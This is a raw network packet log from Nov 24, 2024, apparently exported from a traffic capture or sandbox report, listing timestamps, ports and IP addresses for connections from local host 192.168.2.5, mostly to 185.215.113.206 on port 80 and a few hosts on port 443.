Nov 24, 2024 23:24:36.512583971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.512689114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.512705088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.512743950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.513468981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.513586998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.513633966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.514385939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.514456034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.514498949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.514539957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.515228033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.515284061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.515388966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.515427113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.516097069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.516144991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.516702890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.516803980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.517029047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.517081976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.517306089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.517436981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.517857075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.517968893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.518181086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.518229008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.518729925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.518775940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.518850088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.518892050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.519629955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.519680023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.519718885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.519849062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.520507097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.520555973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.520623922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.520685911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.521387100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.521428108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.521493912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.521539927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.522254944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.522300959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.522377014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.522423029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.523145914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.523190022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.523300886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.523529053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.524000883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.524017096 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.524044037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.524087906 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.524125099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.524136066 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.524233103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.524607897 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.524627924 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.524640083 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.524647951 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.525034904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.525079966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.525170088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.525275946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.525757074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.525799990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.525943041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.526000977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.526653051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.526767969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.526788950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.526819944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.527534962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.527612925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.527618885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.527659893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.528426886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.528511047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.528562069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.529340029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.529453993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.529505014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.530209064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.530282021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.530298948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.530335903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.531089067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.531141043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.531178951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.531389952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.531938076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.532053947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.532105923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.532243013 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.532321930 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.532464027 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.532833099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.532918930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.532938957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.533092976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.533672094 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.533704042 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.533718109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.533768892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.533852100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.533890009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.534607887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.534650087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.534740925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.534786940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.535461903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.535526037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.535531044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.535571098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.536362886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.536422968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.536457062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.536588907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.537256002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.537311077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.537492990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.537542105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.538150072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.538202047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.538242102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.538281918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.538997889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.539064884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.539100885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.539146900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.539931059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.539984941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.540014982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.540149927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.540781975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.540828943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.540860891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.541029930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.625255108 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.625302076 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.625338078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.625346899 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.625359058 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.625370979 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.625411987 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.625412941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.625427961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.625448942 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.625482082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.625775099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.625813007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.625861883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.625994921 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.626008987 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.626646042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.626723051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.626760960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.626804113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.627543926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.627635002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.627639055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.627693892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.628412962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.628479004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.628504038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.628546953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.629290104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.629343033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.629352093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.629395008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.655286074 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.656435013 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.656455994 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.657943964 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.657951117 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.693423986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.693487883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.693497896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.693561077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.693841934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.693886042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.693892002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.693923950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.694534063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.694592953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.694740057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.694825888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.695391893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.695434093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.695445061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.695491076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.695858955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.695935011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.695974112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.696075916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.696741104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.696819067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.696852922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.697024107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.697659969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.697716951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.697844028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.697976112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.698586941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.698606014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.698658943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.699384928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.699440956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.699474096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.699676991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.700273037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.700337887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.700504065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.700592041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.701164961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.701232910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.701354980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.701484919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.702038050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.702097893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.702133894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.702183008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.702954054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.703000069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.703020096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.703058004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.703836918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.703892946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.703903913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.703943968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.704688072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.704741001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.704778910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.704927921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.705565929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.705612898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.705621958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.705651999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.706461906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.706506968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.706573963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.706623077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.707348108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.707397938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.707422972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.707467079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.708250999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.708342075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.708481073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.708523989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.709091902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.709136009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.709460974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.709578037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.709991932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.710042953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.710278034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.710330009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.710879087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.710930109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.710983038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.711740017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.711803913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.711829901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.711869955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.712593079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.712654114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.712675095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.712718010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.713498116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.713551998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.713552952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.713591099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.714365959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.714421034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.714487076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.714608908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.715251923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.715301991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.715349913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.715437889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.716110945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.716187954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.716228008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.716267109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.717026949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.717186928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.717231989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.717890978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.718005896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.718060970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.718748093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.718854904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.718909025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.719671965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.719736099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.719855070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.719954014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.720526934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.720585108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.720645905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.720818043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.721450090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.721508026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.721545935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.721585989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.722342968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.722415924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.722448111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.722495079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.723205090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.723258972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.723339081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.723390102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.724090099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.724136114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.724442959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.724497080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.725013018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.725033998 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.725109100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.725147963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.725186110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.725605011 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.725622892 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.725831032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.725878954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.725907087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.726018906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.726243973 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.726249933 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.726728916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.726785898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.726861954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.727026939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.727610111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.727663994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.727718115 CET	80	49760	185.215.113.206	192.168.2.5
